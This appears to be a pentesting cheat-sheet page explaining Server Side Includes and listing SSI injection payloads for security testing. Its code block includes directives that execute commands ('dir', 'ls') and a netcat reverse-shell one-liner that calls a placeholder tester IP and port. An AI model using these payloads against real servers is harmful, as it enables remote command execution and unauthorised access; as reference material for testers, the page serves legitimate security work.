# SSI

SSI (Server Side Includes) are directives that are **placed in HTML pages, and evaluated on the server** while the pages are being served. They let you **add dynamically generated content** to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.\
For example, you might place a directive into an existing HTML page, such as:

`<!--#echo var="DATE_LOCAL" -->`

And, when the page is served, this fragment will be evaluated and replaced with its value:

`Tuesday, 15-Jan-2013 19:28:54 EST`

You can infer the presence of SSI if the web application uses files with the extensions \*\* `.shtml`, `.shtm` or `.stm`\*\*, but it's not only the case.

```bash
// Document name
<!--#echo var="DOCUMENT_NAME" -->
// Date
<!--#echo var="DATE_LOCAL" -->

// File inclusion
<!--#include virtual="/index.html" -->
// Including files (same directory)
<!--#include file="file_to_include.html" -->
// CGI Program results
<!--#include virtual="/cgi-bin/counter.pl" -->
// Including virtual files (same directory)
<!--#include virtual="file_to_include.html" -->
// Modification date of a file
<!--#flastmod file="index.html" -->

// Command exec
<!--#exec cmd="dir" -->
// Command exec
<!--#exec cmd="ls" -->
// Reverse shell
<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->

// Print all variables
<!--#printenv -->
// Setting variables
<!--#set var="name" value="Rich" -->

```